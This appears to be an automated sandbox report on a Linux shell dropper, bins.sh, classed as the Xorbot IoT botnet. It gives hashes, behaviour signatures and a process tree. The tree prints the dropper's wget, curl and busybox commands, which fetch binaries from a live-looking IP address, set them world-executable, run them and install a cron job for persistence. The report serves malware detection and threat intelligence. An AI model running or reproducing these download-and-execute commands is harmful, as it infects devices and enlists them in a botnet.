Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30-11-2024 07:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    035d446476225e126ba207e9014700ff

  • SHA1

    44658f5a8e83ad0e82a74736d80b6c7ab5c8784b

  • SHA256

    597e7cab59f0e2ab31a3b5ef4eb810c2a44432ce958584a469a72f3146ead18a

  • SHA512

    1d9a7fb9911a273178a07c668363c3c4ca845663db2fa4c09d8e6026e4460251cbe7df51f57312f1f302b5ff70a39410b2501d2d7f2ef5702a6f0fa2337d8f53

  • SSDEEP

    96:XYYMabqAH2YCucR5ZSmqC5Zm48sz8oC1rz1EAYYMabqALAMquCucR5sZmqC5ZdEZ:XCk2fo4Zz8oirz1C+4X8oirz7h

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1482
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1483
        • /usr/bin/wget
          wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:1484
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/chmod
          chmod 777 lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • File and Directory Permissions Modification
          PID:1498
        • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          ./lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Executes dropped EXE
          PID:1499
        • /bin/rm
          rm lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
            PID:1501
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /bin/chmod
            chmod 777 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • File and Directory Permissions Modification
            PID:1505
          • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            ./9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Executes dropped EXE
            PID:1506
          • /bin/rm
            rm 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
              PID:1508
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:1510
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:1511
            • /bin/chmod
              chmod 777 jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • File and Directory Permissions Modification
              PID:1512
            • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              ./jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Executes dropped EXE
              PID:1513
            • /bin/rm
              rm jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
                PID:1515
              • /usr/bin/wget
                wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /bin/chmod
                chmod 777 u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • File and Directory Permissions Modification
                PID:1519
              • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                ./u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Executes dropped EXE
                PID:1520
              • /bin/rm
                rm u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                  PID:1522
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                  • Writes file to tmp directory
                  PID:1524
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                  • Writes file to tmp directory
                  PID:1525
                • /bin/chmod
                  chmod 777 yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1526
                • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  ./yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                  • Executes dropped EXE
                  PID:1527
                • /bin/rm
                  rm yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                  2⤵
                    PID:1529
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                    • Writes file to tmp directory
                    PID:1530
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                    • Writes file to tmp directory
                    PID:1531
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                    • Writes file to tmp directory
                    PID:1532
                  • /bin/chmod
                    chmod 777 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1533
                  • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    ./8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                    • Executes dropped EXE
                    PID:1534
                  • /bin/rm
                    rm 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                    2⤵
                      PID:1536
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      2⤵
                      • Writes file to tmp directory
                      PID:1537
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      2⤵
                      • Writes file to tmp directory
                      PID:1538
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      2⤵
                      • Writes file to tmp directory
                      PID:1539
                    • /bin/chmod
                      chmod 777 fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1540
                    • /tmp/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      ./fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1541
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1543
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1544
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1545
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1546
                          • /bin/rm
                            rm fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                            2⤵
                              PID:1548
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                              2⤵
                                PID:1551

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /var/spool/cron/crontabs/tmp.s9v0HZ

                              Filesize

                              210B

                              MD5

                              022fdf47e8f5fd4d647505d4fe3486d9

                              SHA1

                              19d64a848710789e849cbb2642d05714fe846f9a

                              SHA256

                              2ba8233bf86cdda09965c8a50da3dcb79c448a91b6fcd1ae49c13ee84d4abd88

                              SHA512

                              a4e07ea00fc3dd655268027757bbedbfed4e1a6c132c0f5a44889d97c3949d1d2062e65e8d86fffa96e7235fb4bf4e4ddaa1591d33116b8ad29e386f1d171063